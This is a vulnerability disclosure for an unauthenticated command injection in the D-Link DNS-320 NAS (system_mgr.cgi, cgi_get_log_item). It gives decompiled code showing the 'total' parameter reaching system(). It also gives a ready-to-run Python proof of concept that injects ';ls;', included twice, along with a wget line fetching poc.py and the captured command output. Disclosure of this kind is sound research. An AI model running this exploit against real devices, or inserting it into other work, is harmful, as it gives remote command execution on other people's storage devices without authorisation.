D-Link DNS-320 system_mgr.cgi cgi_get_log_item function Unauthenticated Command Injection Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
The system_mgr.cgi binary's cgi_get_log_item
```

Suggested description

```
D-Link DNS-320 system_mgr.cgi cgi_get_log_item  function Unauthenticated Command Injection Vulnerability
```

Vulnerability Details

```
Python script command injection
→ GET http://{ROUTER_IP}/cgi-bin/system_mgr.cgi, {
    "cmd": "cgi_get_log_item",
    "total": ";<your command>;"
}
    →cgiMain:(dispatcher entry point)
        →cgi_get_log_item: enter this function
        →cgi_sms_test: get the content of total into v2 by calling cgiFormString("total", v2, 8);
        →cgi_sms_test: concatenate v2 into v1
            →system: system(v1)
```

```
size_t cgi_get_log_item()
{
  char v1[12]; // [sp+38h] [bp-87Ch] BYREF
  char v2[8]; // [sp+78h] [bp-83Ch] BYREF
  char v3[4]; // [sp+80h] [bp-834h] BYREF
  char v4[20]; // [sp+280h] [bp-634h] BYREF
  char v5[20]; // [sp+480h] [bp-434h] BYREF
  char s[15]; // [sp+680h] [bp-234h] BYREF
  char v7[497]; // [sp+68Fh] [bp-225h] BYREF
  FILE *stream; // [sp+880h] [bp-34h]
  char *v9; // [sp+884h] [bp-30h]

  cgiFormString("total", v2, 8);
  cgiHeaderContentType("text/xml");
  fwrite("<?xml version=\"1.0\" encoding=\"UTF-8\" ?>", 1u, 0x27u, (FILE *)cgiOut);
  fwrite("<log>", 1u, 5u, (FILE *)cgiOut);
  system("cat /var/log/user.log.old /var/log/user.log 2>/dev/null > /tmp/merge_user.log");
  sprintf(v1, "tail -n %s /tmp/merge_user.log >/tmp/user.log", v2);
  system(v1);
```

Attack

By exploiting this vulnerability for command execution, for example, the `ls` command can be executed as shown in the image below.

```
import requests

url = "http://192.168.31.10/cgi-bin/system_mgr.cgi"

headers = {
}

data = {
    "cmd": "cgi_get_log_item",
    "total": ";ls;"
}
# wget http://192.168.31.166:9986/poc.py

response = requests.post(
    url,
    headers=headers,
    data=data,
    timeout=10
)

print("Status:", response.status_code)
print("Response:")
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```
remote_backup.cgi
status_mgr.cgi
system_mgr.cgi
time_machine.cgi
validPath
webdav_mgr.cgi
webfile_mgr.cgi
widget_api.cgi
wizard_mgr.cgi
Content-type: text/xml
```

POC

```
import requests

url = "http://192.168.31.10/cgi-bin/system_mgr.cgi"

headers = {
}

data = {
    "cmd": "cgi_get_log_item",
    "total": ";ls;"
}
# wget http://192.168.31.166:9986/poc.py

response = requests.post(
    url,
    headers=headers,
    data=data,
```

```
    timeout=10
)

print("Status:", response.status_code)
print("Response:")
print(response.text)
```

Finder

```
ZuZheng Yang
```